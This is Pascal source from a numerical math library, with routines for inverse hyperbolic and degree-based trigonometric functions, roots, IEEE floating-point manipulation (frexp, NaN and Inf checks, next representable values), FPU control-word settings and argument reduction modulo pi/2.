{---------------------------------------------------------------------------}
function arccsch(x: extended): extended;
{-Return the inverse hyperbolic cosecant of x, x <> 0}
var
t: extended;
begin
t := abs(x);
if t<=1.0 then begin
if t<=5e-10 then begin
{avoid overflow for 1/t^2}
{arccsch(x) = (ln(2)-ln(x)) + 1/4*x^2 -3/32*x^4 + O(x^6)}
t := -ln(0.5*t)
end
else begin
{ln(1/t + sqrt(1+1/t^2)) = ln((1+sqrt(1+t^2)/t) = }
t := ln1p(sqrt(1.0+t*t)) - ln(t);
end;
if x>0.0 then arccsch := t
else arccsch := -t;
end
else arccsch := arcsinh(1.0/x);
end;
{---------------------------------------------------------------------------}
function langevin(x: extended): extended;
{-Return the Langevin function L(x) = coth(x) - 1/x, L(0) = 0}
const
nlv = 13;
lvxh: array[0..nlv-1] of THexExtW = ( {chebyshev((coth(x)-1/x)/x, x=-1..1, 0.5e-20);}
($1668,$616C,$5EB9,$A55A,$3FFE), {+0.645910187014507952778305035000 }
($6B57,$70C2,$3BA4,$A631,$BFF8), {-0.101435739941388114059644663986e-1 }
($1CD9,$3F5E,$8295,$F036,$3FF2), {+0.229084901846336481169924923413e-3 }
($6D31,$FD6D,$5BBB,$B6C3,$BFED), {-0.544676537826296496965829810972e-5 }
($77B5,$5BE1,$0FC6,$8C96,$3FE8), {+0.130931081441182878982618509970e-6 }
($0A40,$94AD,$BAF9,$D8DA,$BFE2), {-0.315564707141221862295501357833e-8 }
($E95E,$7D1E,$032A,$A75C,$3FDD), {+0.761062543956059982739459695821e-10}
($AEBF,$A763,$D606,$812E,$BFD8), {-0.183580018070672141940213332479e-11}
($69AB,$B060,$4401,$C770,$3FD2), {+0.442842513100509316169830548635e-13}
($4F3F,$8E48,$F02D,$99F3,$BFCD), {-0.106826272532550650314814814815e-14}
($53E4,$15EC,$CEB3,$EDAE,$3FC7), {+0.257696253100437571692598505481e-16}
($B73B,$4517,$BCB8,$B779,$BFC2), {-0.621639295641256569625648606622e-18}
($3E53,$D2C7,$8ED0,$8DA1,$3FBD)); {+0.149957744659012073828688846172e-19}
var
lvcs: array[0..nlv-1] of extended absolute lvxh;
var
t,y: extended;
begin
t := abs(x);
if t <= 1.0 then langevin := x*CSEvalX(2.0*sqr(x)-1.0, lvcs, nlv)
else begin
{L(x) = coth(x)-1/x = (1+exp(-2x))/(1-exp(-2x) - 1/x}
{L(x) = (1 + exp(-2x))/(1 - exp(-2x)) - 1 + 1 - 1/x }
{L(x) = 2*exp(-2x)/(1-exp(-2x)) + (x-1)/x }
if t>23.0 then y := 1.0 - 1.0/t
else begin
y := exp(-2.0*t);
y := 2.0*y/(1.0-y) + (t-1.0)/t;
end;
if x<0.0 then langevin := -y
else langevin := y;
end;
end;
{---------------------------------------------------------------------------}
{------------- Degrees versions of trig / invtrig functions ----------------}
{---------------------------------------------------------------------------}
{---------------------------------------------------------------------------}
procedure trig_deg(x: extended; var y,z: extended; var n: integer; var m45: boolean);
{-Reduce x in degrees mod 90; y=x mod 90, |y|<45. z=x/45, m45 if x is multiple of 45}
const
XMAX = 1e17; {~2^64/180}
const
c45: single = 45.0; {Anti-optimize: avoid multiplication with suboptimal inverse}
begin
{Basic internal reduction routine mod 90. Use Cody/Waite logic, but no}
{pseudo-multiprecision because 45.0 has only 6 non-zero mantissa bits.}
if x=0.0 then begin
y := 0.0;
z := 0.0;
n := 0;
m45 := true;
end
else begin
if abs(x) > XMAX then begin
{Standard method not reliable, use reduction mod 360 and continue}
m45 := false;
x := fmod(x,360.0);
z := x/c45;
end
else begin
z := x/c45;
m45 := (frac(z)=0.0) and (frac(x)=0.0);
end;
y := floorx(z);
n := trunc(y - 16.0*floorx(y/16.0));
if odd(n) then begin
inc(n);
y := y + 1.0;
end;
n := (n shr 1) and 7;
y := x - y*c45;
end;
end;
{---------------------------------------------------------------------------}
procedure sincosd(x: extended; var s,c: extended);
{-Return sin(x) and cos(x), x in degrees}
var
y,ss,cc: extended;
n: integer;
m45: boolean;
begin
trig_deg(x,y,ss,n,m45);
_sincos(y*Pi_180,ss,cc);
case n and 3 of
0: begin s:= ss; c:= cc; end;
1: begin s:= cc; c:=-ss; end;
2: begin s:=-ss; c:=-cc; end;
else begin s:=-cc; c:= ss; end;
end;
{Avoid -0}
s := s+0.0;
c := c+0.0;
end;
{---------------------------------------------------------------------------}
function sind(x: extended): extended;
{-Return sin(x), x in degrees}
var
y,z: extended;
n : integer;
m45: boolean;
begin
trig_deg(x,y,z,n,m45);
z := y*Pi_180;
case n and 3 of
0: sind := system.sin(z);
1: sind := system.cos(z);
2: sind := 0.0 - system.sin(z);
else sind := 0.0 - system.cos(z);
end;
end;
{---------------------------------------------------------------------------}
function cosd(x: extended): extended;
{-Return cos(x), x in degrees}
var
y,z: extended;
n : integer;
m45: boolean;
begin
trig_deg(x,y,z,n,m45);
z := y*Pi_180;
case n and 3 of
0: cosd := system.cos(z);
1: cosd := 0.0 - system.sin(z);
2: cosd := 0.0 - system.cos(z);
else cosd := system.sin(z);
end;
end;
{---------------------------------------------------------------------------}
function tand(x: extended): extended;
{-Return tan(x), x in degrees}
var
y,z: extended;
n : integer;
m45: boolean;
begin
trig_deg(x,y,z,n,m45);
if m45 then begin
z := abs(z);
y := isign(x);
case round(4.0*frac(0.25*z)) of
0: tand := 0.0;
1: tand := y;
2: tand := PosInf_x;
else tand := -y; {case 3, but keep some stupid compilers happy}
end;
end
else if odd(n) then tand := 0.0 - _cot(y*Pi_180)
else tand := _tan(y*Pi_180);
end;
{---------------------------------------------------------------------------}
function cotd(x: extended): extended;
{-Return cot(x), x in degrees}
var
y,z: extended;
n : integer;
m45: boolean;
begin
trig_deg(x,y,z,n,m45);
if m45 then begin
z := abs(z);
y := isign(x);
case round(4.0*frac(0.25*z)) of
0: cotd := PosInf_x;
1: cotd := y;
2: cotd := 0.0;
else cotd := -y; {case 3, but keep some stupid compilers happy}
end;
end
else if odd(n) then cotd := 0.0 - _tan(y*Pi_180)
else cotd := _cot(y*Pi_180);
end;
{---------------------------------------------------------------------------}
function arctand(x: extended): extended;
{-Return the inverse circular tangent of x, result in degrees}
begin
{exact for extended +-1, +-INF; 90 for x>2^65, -90 for x < -2^65}
arctand := arctan(x)/Pi_180;
end;
{---------------------------------------------------------------------------}
function arccosd(x: extended): extended;
{-Return the inverse circular cosine of x, |x| <= 1, result in degrees}
begin
arccosd := arccos(x)/Pi_180;
end;
{---------------------------------------------------------------------------}
function arccotd(x: extended): extended;
{-Return the sign symmetric inverse circular cotangent,}
{ arccotd(x) = arctand(1/x), x <> 0, result in degrees}
begin
arccotd := arccot(x)/Pi_180;
end;
{---------------------------------------------------------------------------}
function arccotcd(x: extended): extended;
{-Return the continuous inverse circular cotangent;}
{ arccotcd(x) = 90 - arctand(x), result in degrees}
begin
arccotcd := arccotc(x)/Pi_180;
end;
{---------------------------------------------------------------------------}
function arcsind(x: extended): extended;
{-Return the inverse circular sine of x, |x| <= 1, result in degrees}
begin
arcsind := arcsin(x)/Pi_180;
end;
{---------------------------------------------------------------------------}
{---------------------- Elementary numerical functions ---------------------}
{---------------------------------------------------------------------------}
{$ifdef BASM}
{---------------------------------------------------------------------------}
function cbrt(x: extended): extended;
{-Return the cube root of x}
var
y: extended;
begin
if (TExtRec(x).xp and $7FFF=$7FFF) or (x=0.0) or (abs(x)=1.0) then begin
{x is 0, +1, -1, Inf, or NaN}
cbrt := x;
end
else begin
{calculate initial approximation}
y := copysign(exp2(log2(abs(x))/THREE),x);
{perform one Newton step}
cbrt := y - (y - x/sqr(y))/THREE;
end;
end;
{$else}
{---------------------------------------------------------------------------}
function cbrt(x: extended): extended;
{-Return the cube root of x}
const
cbrt2x: array[0..4] of extended = (0.62996052494743658238, {0.25^(1/3)}
0.79370052598409973738, {0.50^(1/3)}
1.00000000000000000000, {1.00^(1/3)}
1.25992104989487316477, {2.00^(1/3)}
1.58740105196819947475); {4.00^(1/3)}
var
ir,ix: integer;
ie: longint;
y,z: extended;
begin
{Initial cbrt approximation for 0.5 <= x < 1.0 calculated with Maple V command }
{ minimax(x -> x^(1/3), 0.5..1, [2,2], x -> 1/x^(1/3), 'maxerror'); }
{ }
{ .07746514737678856774 + (.77456217726399313013 + .43597444600087560765*x)*x }
{cbrt(x) = --------------------------------------------------------------------------- }
{ .24468238772153794870 + (.86941664597934352408 + .17390337312666005602*x)*x }
{ }
{ with max. relative error = .49393237534162054278e-6 }
ix := THexExtW(x)[4] and $7FFF;
if (ix=$7FFF) or (x=0.0) or (abs(x)=1.0) then begin
{x is 0, +1, -1, Inf, or NaN}
cbrt := x;
exit;
end;
frexp(abs(x),y,ie);
{x = a*2^ie, 0.5 <= a < 1}
ix:= integer(ie) div 3;
ir:= integer(ie) - 3*ix + 2;
{calculate initial approximation y := a^(1/3)}
z := 0.24468238772153794870 + (0.86941664597934352408 + 0.17390337312666005602*y)*y;
y := 0.07746514737678856774 + (0.77456217726399313013 + 0.43597444600087560765*y)*y;
{here y/z=a^(1/3), merge in cbrt(2^x), exponent, sign}
y := copysign(ldexp(cbrt2x[ir]*y/z, ix),x);
{two Newton steps, theoretical rel. error about 6e-26}
y := y - (y - x/sqr(y))/THREE;
cbrt := y - (y - x/sqr(y))/THREE;
end;
{$endif}
{---------------------------------------------------------------------------}
function ceil(x: extended): longint;
{-Return the smallest integer >= x; |x|<=MaxLongint}
var
i: longint;
begin
x := modf(x,i);
if x>0.0 then ceil := i+1
else ceil := i;
end;
{---------------------------------------------------------------------------}
function ceilx(x: extended): extended;
{-Return the smallest integer >= x}
var
t: extended;
begin
t := int(x);
if (x<=0.0) or (x=t) then ceilx := t
else ceilx := t + 1.0
end;
{---------------------------------------------------------------------------}
function floor(x: extended): longint;
{-Return the largest integer <= x; |x|<=MaxLongint}
var
i: longint;
begin
x := modf(x,i);
if x<0.0 then floor := i-1
else floor := i;
end;
{---------------------------------------------------------------------------}
function floorx(x: extended): extended;
{-Return the largest integer <= x}
var
t: extended;
begin
t := int(x);
if (x>=0.0) or (x=t) then floorx := t
else floorx := t - 1.0;
end;
{---------------------------------------------------------------------------}
function hypot(x,y: extended): extended;
{-Return sqrt(x*x + y*y)}
begin
x := abs(x);
y := abs(y);
if x>y then hypot := x*sqrt(1.0+sqr(y/x))
else if x>0.0 then hypot := y*sqrt(1.0+sqr(x/y)) {here y >= x > 0}
else hypot := y; {here x=0}
end;
{---------------------------------------------------------------------------}
function hypot3(x,y,z: extended): extended;
{-Return sqrt(x*x + y*y + z*z)}
var
ax,ay,az,r,s,t: extended;
begin
ax := abs(x);
ay := abs(y);
az := abs(z);
{Find maximum of absolute values and divide the other two by the maximum}
if ax > ay then begin
if ax > az then begin
r := ay/ax;
s := az/ax;
t := ax;
end
else begin
r := ax/az;
s := ay/az;
t := az;
end
end
else if ay > az then begin
r := ax/ay;
s := az/ay;
t := ay;
end
else if az > 0.0 then begin
r := ax/az;
s := ay/az;
t := az;
end
else begin
hypot3 := 0.0;
exit;
end;
hypot3 := t*sqrt((sqr(r) + sqr(s)) + 1.0);
end;
{---------------------------------------------------------------------------}
function modf(x: extended; var ip: longint): extended;
{-Return frac(x) and trunc(x) in ip, |x|<=MaxLongint}
begin
ip := trunc(x);
modf := x-ip
end;
{---------------------------------------------------------------------------}
function nroot(x: extended; n: integer): extended;
{-Return the nth root of x; n<>0, x >= 0 if n is even}
var
y: extended;
begin
if n<0 then nroot := 1.0/nroot(x,-n)
else if n<4 then begin
case n of
3: nroot := cbrt(x);
2: nroot := sqrt(x);
1: nroot := x;
else nroot := 1.0/n;
end
end
else if x=0.0 then nroot := 0.0
else begin
{if x<0 and n even, log(y) will generate RTE}
if odd(n) then y := abs(x) else y := x;
{calculate initial approximation}
{$ifdef BASM}
y := copysign(exp2(log2(y)/n),x);
{$else}
y := copysign(exp(ln(y)/n),x);
{$endif}
{perform one Newton step}
nroot := y - (y - x/intpower(y,n-1))/n
end;
end;
{$ifdef BIT32}
{---------------------------------------------------------------------------}
function remainder(x,y: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the IEEE754 remainder x REM y = x - rmNearest(x/y)*y}
asm
fld [y]
fld [x]
@@1: fprem1
fstsw ax
sahf
jp @@1
fstp st(1)
fwait
end;
{$else}
{---------------------------------------------------------------------------}
function remainder(x,y: extended): extended;
{-Return the IEEE754 remainder x REM y = x - rmNearest(x/y)*y}
var
yh: extended;
ey,sx: word;
begin
{Ref: FDLIBM 5.3 [5], file e_remainder.c}
if TExtRec(x).xp and $7FFF = $7FFF then begin
{x is INF or NaN}
remainder := NaN_x;
exit;
end;
sx := TExtRec(x).xp and $8000;
ey := TExtRec(y).xp and $7FFF;
if ey=$7FFF then with TExtRec(y) do begin
{x is INF or NaN}
if (hm=longint($80000000)) and (lm=0) then begin
{y is INF}
remainder := x;
end
else remainder := NaN_x;
exit;
end;
y := abs(y);
if ey <$7FFE then begin
{|y| < 0.5*MaxExtended}
x := fmod(x,y+y);
end;
x := abs(x);
if ey<2 then begin
{|y| < 2*MinExtended}
if x+x > y then begin
if x=y then x := 0.0
else x := x-y;
if x+x >= y then x := x-y;
end;
end
else begin
yh := 0.5*y;
if x > yh then begin
if x=y then x := 0.0
else x := x-y;
if x >= yh then x := x-y;
end;
end;
if sx=0 then remainder := x
else remainder := -x;
end;
{$endif}
{---------------------------------------------------------------------------}
function sqrt1pm1(x: extended): extended;
{-Return sqrt(1+x)-1, accurate even for x near 0, x>=-1}
begin
if abs(x)>0.75 then sqrt1pm1 := sqrt(1.0+x)-1.0
else begin
{sqrt(1+x)-1 = (sqrt(1+x)-1)*(sqrt(1+x)+1)/(sqrt(1+x)+1) = x/(sqrt(1+x)-1)}
sqrt1pm1 := x/(1.0+sqrt(1.0+x));
end;
end;
{---------------------------------------------------------------------}
{---------------------- Floating point functions ---------------------}
{---------------------------------------------------------------------}
{---------------------------------------------------------------------------}
function copysign(x,y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
begin
THexExtW(x)[4] := (THexExtW(x)[4] and $7FFF) or (THexExtW(y)[4] and $8000);
copysign := x;
end;
{---------------------------------------------------------------------------}
function copysignd(x,y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
begin
THexDblW(x)[3] := (THexDblW(x)[3] and $7FFF) or (THexDblW(y)[3] and $8000);
copysignd := x;
end;
{---------------------------------------------------------------------------}
function copysigns(x,y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
begin
THexSglA(x)[3] := (THexSglA(x)[3] and $7F) or (THexSglA(y)[3] and $80);
copysigns := x;
end;
{---------------------------------------------------------------------------}
procedure frexp(x: extended; var m: extended; var e: longint);
{-Return the mantissa m and exponent e of x with x = m*2^e, 0.5 <= abs(m) < 1;}
{ if x is 0, +-INF, NaN, return m=x, e=0}
var
xh: THexExtW absolute x; {x as array of word}
const
H2_64: THexExtW = ($0000,$0000,$0000,$8000,$403f); {2^64}
begin
e := xh[4] and $7FFF;
{First check is INF or NAN}
if (e=$7FFF) or (x=0.0) then e := 0
else begin
if e=0 then begin
{denormal}
x := x*extended(H2_64);
e := xh[4] and $7FFF;
dec(e,64+$3FFE);
end
else dec(e,$3FFE);
xh[4] := (xh[4] and $8000) or $3FFE;
end;
m := x;
end;
{---------------------------------------------------------------------------}
procedure frexpd(d: double; var m: double; var e: longint);
{-Return the mantissa m and exponent e of d with d = m*2^e, 0.5 <= abs(m) < 1;}
{ if d is 0, +-INF, NaN, return m=d, e=0}
var
w: integer;
const
H2_54: THexDblW = ($0000,$0000,$0000,$4350); {2^54}
begin
w := THexDblW(d)[3] and $7FF0;
e := 0;
if (w=$7FF0) or (d=0) then begin
{+-INF, NaN, 0 or denormal}
m := d;
end
else begin
if w < $0010 then begin
d := d*double(H2_54);
e := -54;
w := THexDblW(d)[3] and $7FF0;
end;
inc(e, (w shr 4) - 1022);
THexDblW(d)[3] := (THexDblW(d)[3] and $800F) or $3FE0;
m := d;
end;
end;
{---------------------------------------------------------------------------}
procedure frexps(s: single; var m: single; var e: longint);
{-Return the mantissa m and exponent e of s with s = m*2^e, 0.5 <= abs(m) < 1;}
{ if s is 0, +-INF, NaN, return m=s, e=0}
var
L: longint absolute s;
x: double;
begin
e := L and $7F800000;
if (e = $7F800000) or (s=0) then begin
{+-INF, NaN, 0}
m := s;
e := 0;
end
else begin
frexpd(s,x,e);
m := x;
end;
end;
{---------------------------------------------------------------------------}
function ilogb(x: extended): longint;
{-Return base 2 exponent of x. For finite x ilogb = floor(log2(|x|))}
{ otherwise -MaxLongint for x=0 and MaxLongint if x = +-INF or Nan. }
var
e: integer;
f: longint;
m: extended;
begin
e := THexExtW(x)[4] and $7FFF;
if e=$7FFF then ilogb := MaxLongint
else if x=0.0 then ilogb := -MaxLongint
else if e<>0 then ilogb := e-$3FFF
else begin
{e=0, x<>0: denormal use frexp exponent}
frexp(x,m,f);
ilogb := f-1;
end;
end;
{---------------------------------------------------------------------------}
function IsInf(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is +INF or -INF}
begin
with TExtRec(x) do begin
IsInf := (xp and $7FFF=$7FFF) and (hm=longint($80000000)) and (lm=0);
end;
end;
{---------------------------------------------------------------------------}
function IsInfD(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is +INF or -INF}
begin
with TDblRec(d) do begin
IsInfD := (hm and $7FFFFFFF=$7FF00000) and (lm=0);
end;
end;
{---------------------------------------------------------------------------}
function IsNaN(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is a NaN}
begin
with TExtRec(x) do begin
IsNaN := (xp and $7FFF=$7FFF) and ((hm<>longint($80000000)) or (lm<>0));
end;
end;
{---------------------------------------------------------------------------}
function IsNaND(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is a NaN}
begin
with TDblRec(d) do begin
IsNaND := (hm and $7FF00000=$7FF00000) and ((hm and $000FFFFF<>0) or (lm<>0));
end;
end;
{---------------------------------------------------------------------------}
function IsNaNorInf(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is a NaN or infinite}
begin
IsNaNorInf := TExtRec(x).xp and $7FFF=$7FFF;
end;
{---------------------------------------------------------------------------}
function IsNaNorInfD(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is a NaN or infinite}
begin
IsNaNorInfD := THexDblW(d)[3] and $7FF0=$7FF0;
end;
{---------------------------------------------------------------------------}
function IsInfS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is +INF or -INF}
var
L: longint absolute s;
begin
IsInfS := L and $7FFFFFFF = $7F800000;
end;
{---------------------------------------------------------------------------}
function IsNaNS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is a NaN}
var
L: longint absolute s;
begin
IsNaNS := (L and $7F800000 = $7F800000) and (L and $7FFFFF <> 0);
end;
{---------------------------------------------------------------------------}
function IsNaNorInfS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is a NaN or infinite}
var
L: longint absolute s;
begin
IsNaNorInfS := L and $7F800000 = $7F800000;
end;
{---------------------------------------------------------------------------}
function predd(d: double): double;
{-Return next representable double after d in the direction -Inf}
begin
with TDblRec(d) do begin
if THexDblW(d)[3] and $7FF0=$7FF0 then begin
{Inf or Nan}
if (hm and $7FFFFFFF=$7FF00000) and (lm=0) then begin
{d is +- Inf}
if d>0.0 then d := MaxDouble;
end;
end
else begin
{finite number}
if d=0.0 then begin
hm := x80000000;
lm := 1;
end
else if d<0.0 then begin
{d<0: increment significand}
inc(lm);
if lm=0 then inc(hm);
end
else begin
{d>0: decrement significand}
if lm=0 then dec(hm);
dec(lm);
end;
end;
predd := d;
end;
end;
{---------------------------------------------------------------------------}
function predx(x: extended): extended;
{-Return next representable extended after x in the direction -Inf}
begin
with TExtRec(x) do begin
if xp and $7FFF=$7FFF then begin
{Inf or Nan}
if (hm=x80000000) and (lm=0) then begin
{x is +- Inf}
if x>0.0 then x := MaxExtended;
end;
predx := x;
exit;
end;
if xp and $7FFF = 0 then begin
{Handle pseudo-denormal: Set exponent to +/- 1, significand is unchanged}
if hm<0 then xp := xp or 1;
end
else if hm>=0 then begin
{don't touch unnormals}
predx := x;
exit;
end;
{finite number}
if x=0 then begin
xp := $8000;
lm := 1;
end
else if xp and $8000 <> 0 then begin
{x<0: increment significand}
inc(lm);
if lm=0 then begin
inc(hm);
if (hm=0) or ((xp=$8000) and (hm=x80000000)) then begin
inc(xp);
hm := hm or x80000000;
if xp=$FFFF then x := NegInf_x;
end;
end;
end
else begin
{x>0: decrement significand}
if hm<0 then begin
if lm=0 then begin
if hm=x80000000 then begin
dec(xp);
dec(hm);
if xp>0 then hm := hm or x80000000;
end
else dec(hm);
end;
dec(lm);
end
else begin
{denormal}
if lm=0 then dec(hm);
dec(lm);
end;
end;
end;
predx := x;
end;
{---------------------------------------------------------------------------}
function preds(s: single): single;
{-Return next representable single after s in the direction -Inf}
var
L: longint absolute s;
begin
if L and $7F800000 = $7F800000 then begin
{Inf or Nan, don't change Nan or -Inf}
if L and $7FFFFF = 0 then begin
{s is +- Inf}
if s>0.0 then s := MaxSingle;
end;
end
else begin
{finite number}
if s=0.0 then L := longint($80000001)
else if s<0.0 then inc(L)
else dec(L);
end;
preds := s;
end;
{---------------------------------------------------------------------------}
function succd(d: double): double;
{-Return next representable double after d in the direction +Inf}
begin
with TDblRec(d) do begin
if THexDblW(d)[3] and $7FF0=$7FF0 then begin
{Inf or Nan}
if (hm and $7FFFFFFF=$7FF00000) and (lm=0) then begin
{d is +- Inf}
if d<0.0 then d := -MaxDouble;
end;
end
else begin
{finite number}
if d=0.0 then begin
hm := 0;
lm := 1;
end
else if d>0.0 then begin
{d>0: increment significand}
inc(lm);
{hm < $7FF00000, so inc(hm) cannot overflow and will give}
{the correct result succd(predd(PosInf_d)) = PosInf_d}
if lm=0 then inc(hm);
end
else begin
{d<0: decrement significand}
if lm=0 then dec(hm);
dec(lm);
end;
end;
succd := d;
end;
end;
{---------------------------------------------------------------------------}
function succx(x: extended): extended;
{-Return next representable extended after x in the direction +Inf}
begin
with TExtRec(x) do begin
if xp and $7FFF=$7FFF then begin
{Inf or Nan}
if (hm=x80000000) and (lm=0) then begin
{x is +- Inf}
if x<0.0 then x := -MaxExtended;
end;
succx := x;
exit;
end;
if xp and $7FFF = 0 then begin
{Handle pseudo-denormal: Set exponent to +/- 1, significand is unchanged}
if hm<0 then xp := xp or 1;
end
else if hm>=0 then begin
{don't touch unnormals}
succx := x;
exit;
end;
{finite number}
if x=0.0 then begin
xp := 0;
lm := 1;
end
else if xp and $8000 = 0 then begin
{x>0: increment significand}
inc(lm);
if lm=0 then begin
inc(hm);
if (hm=0) or ((xp=0) and (hm=x80000000)) then begin
inc(xp);
hm := hm or x80000000;
if xp=$7FFF then x := PosInf_x;
end;
end;
end
else begin
{x<0: decrement significand}
if lm=0 then begin
if (hm>=0) or (hm=x80000000) then begin
dec(hm);
dec(xp);
if xp and $7FFF > 0 then hm := hm or x80000000;
end
else dec(hm);
end;
dec(lm);
end;
end;
succx := x;
end;
{---------------------------------------------------------------------------}
function succs(s: single): single;
{-Return next representable single after s in the direction +Inf}
var
L: longint absolute s;
begin
if L and $7F800000 = $7F800000 then begin
{Inf or Nan, don't change Nan or +Inf}
if L and $7FFFFF = 0 then begin
{s is +- Inf}
if s<0.0 then s := -MaxSingle;
end;
end
else begin
{finite number}
if s=0.0 then L := 1
else if s>0.0 then inc(L)
else dec(L);
end;
succs := s;
end;
{---------------------------------------------------------------------------}
function ulpd(d: double): double;
{-Return the 'unit in the last place': ulpd(d)=|d|-predd(|d|) for finite d}
begin
if THexDblW(d)[3] and $7FF0=$7FF0 then with TDblRec(d) do begin
{Inf or Nan}
if (hm and $7FFFFFFF=$7FF00000) and (lm=0) then ulpd := PosInf_d
else ulpd := d;
end
else begin
d := abs(d);
{Note if d=0 then ulpd(0) = 0 - predd(d) = succd(0) !}
ulpd := d - predd(d);
end;
end;
{---------------------------------------------------------------------------}
function ulps(s: single): single;
{-Return the 'unit in the last place': ulps(s)=|s|-preds(|s|) for finite s}
var
L: longint absolute s;
begin
if L and $7F800000 = $7F800000 then begin
{Inf or Nan}
if L and $7FFFFF = 0 then ulps := PosInf_s
else ulps := s;
end
else begin
s := abs(s);
{Note if s=0 then ulps(0) = 0 - preds(s) = succs(0) !}
ulps := s - preds(s);
end;
end;
{---------------------------------------------------------------------------}
function ulpx(x: extended): extended;
{-Return the 'unit in the last place': ulpx(x)=|x|-predx(|x|) for finite x}
begin
if TExtRec(x).xp and $7FFF=$7FFF then with TExtRec(x) do begin
{Inf or Nan}
if (hm=longint($80000000)) and (lm=0) then ulpx := PosInf_x
else ulpx := x;
end
else begin
x := abs(x);
{Note if x=0 then ulpx(0) = 0 - predx(x) = succx(0) !}
ulpx := x - predx(x);
end;
end;
{---------------------------------------------------------------------------}
function rint(x: extended): extended;
{-Return the integral value nearest x for the current rounding mode}
const
twopower63h: THexExtW = ($0000,$0000,$0000,$8000,$403E); {2^63}
var
c: extended absolute twopower63h;
begin
if TExtRec(x).xp and $7FFF >= $4040 then begin
{x is either INF or NAN or has no fractional part}
rint := x {Inf or NAN}
end
else begin
if x>=0.0 then begin
x := x + c;
rint := x - c;
end
else begin
x := x - c;
rint := x + c;
end;
end;
end;
{---------------------------------------------------------------------------}
{------------------------- FPU control functions ---------------------------}
{---------------------------------------------------------------------------}
{These functions try to be as compatible to Delphi/FreePascal as reasonable.}
{16 bit Pascal cannot return sets as function results, Delphi sets are not }
{byte-compatible in FPC, not all Delphi versions support default values etc.}
{D3+ and FPC2+ have Set8087CW in system.pas. It is used here if available, }
{because it also sets the system variable Default8087CW. D6+ and FPC+ have }
{Get8087CW in system.pas.}
{$ifdef need_get87}
{----------------------------------------------------------------}
function Get8087CW: word;
{-Return the FPU control word}
var
cw: word;
begin
{$ifdef VER5X}
inline(
$CD/$35/$7E/<cw/ {fstcw [cw]}
$CD/$3D {fwait }
);
{$else}
asm
fstcw [cw]
fwait
end;
{$endif}
Get8087CW := cw;
end;
{$endif}
{$ifdef need_set87}
{----------------------------------------------------------------}
procedure Set8087CW(cw: word);
{-Set new FPU control word}
begin
{$ifdef VER5X}
inline(
$DB/$E2/ {fclex }
$CD/$35/$6E/<cw/ {fldcw [cw]}
$CD/$3D {fwait }
);
{$else}
asm
fnclex
fldcw [cw]
fwait
end;
{$endif}
end;
{$endif}
{---------------------------------------------------------------------------}
function GetRoundMode: TFPURoundingMode;
{-Return the current rounding mode}
begin
GetRoundMode := TFPURoundingMode((Get8087CW shr 10) and 3);
end;
{---------------------------------------------------------------------------}
function SetRoundMode(NewRoundMode: TFPURoundingMode): TFPURoundingMode;
{-Set new rounding mode and return the old mode}
var
CW: word;
begin
CW := Get8087CW;
Set8087CW((CW and $F3FF) or (ord(NewRoundMode) shl 10));
SetRoundMode := TFPURoundingMode((CW shr 10) and 3);
end;
{---------------------------------------------------------------------------}
function GetPrecisionMode: TFPUPrecisionMode;
{-Return the current precision control mode}
begin
GetPrecisionMode := TFPUPrecisionMode((Get8087CW shr 8) and 3);
end;
{---------------------------------------------------------------------------}
function SetPrecisionMode(NewPrecision: TFPUPrecisionMode): TFPUPrecisionMode;
{-Set new precision control mode and return the old precision}
var
CW: word;
begin
CW := Get8087CW;
Set8087CW((CW and $FCFF) or (ord(NewPrecision) shl 8));
SetPrecisionMode := TFPUPrecisionMode((CW shr 8) and 3);
end;
{---------------------------------------------------------------------------}
procedure GetExceptionMask(var Mask: byte);
{-Return the current exception mask}
begin
Mask := Get8087CW and $3F;
end;
{---------------------------------------------------------------------------}
procedure SetExceptionMask(NewMask: byte);
{-Set new exception mask}
var
CW: word;
begin
CW := Get8087CW;
Set8087CW((CW and $FFC0) or (NewMask and $3F));
end;
(*************************************************************************
DESCRIPTION : Accurate argument reduction mod Pi/2
Version Date Author Modification
------- -------- ------- ------------------------------------------
0.10 17.11.09 W.Ehrhardt Initial BP7 k_rem_pio2
0.11 28.11.09 we rem_pio2_ph, rem_pio2_cw, rem_pio2
0.12 28.11.09 we NOBASM version
0.13 28.11.09 we k_rem_pio2: make i,j integer, new t: longint
0.14 29.11.09 we use abs(x) in rem_pio2_ph; comments/references
0.15 29.11.09 we PIo2: array[0..7] of THexDblW
0.16 03.12.09 we used ldexp for scalbnd
***************************************************************************)
{--------------------------------------------------------------------------}
{------------------ Cody and Waite argument reduction ---------------------}
{---------------------------------------------------------------------------}
{---------------------------------------------------------------------------}
function rem_pio2_cw(x: extended; var z: extended): integer;
{-Cody/Waite reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8}
var
i: longint;
y: extended;
const
HP1 : THexExtW = ($0000,$0000,$da80,$c90f,$3ffe);
HP2 : THexExtW = ($0000,$0000,$a300,$8885,$3fe4);
HP3 : THexExtW = ($3707,$a2e0,$3198,$8d31,$3fc8);
var
DP1 : extended absolute HP1; {= 7.853981554508209228515625E-1;}
DP2 : extended absolute HP2; {= 7.94662735614792836713604629E-9;}
DP3 : extended absolute HP3; {= 3.06161699786838294306516483E-17;}
begin
{This is my Pascal translation of the CW reduction given in}
{sinl.c from the Cephes Math Library Release 2.7: May, 1998}
{Copyright 1985, 1990, 1998 by Stephen L. Moshier }
if x=0.0 then begin
z := 0.0;
rem_pio2_cw := 0;
end
else begin
y := floorx(x/Pi_4);
i := trunc(y - 16.0*floorx(y/16.0));
if odd(i) then begin
inc(i);
y := y + 1.0;
end;
rem_pio2_cw := (i shr 1) and 7;
{Extended precision modular arithmetic}
z := ((x - y * DP1) - y * DP2) - y * DP3;
end;
end;
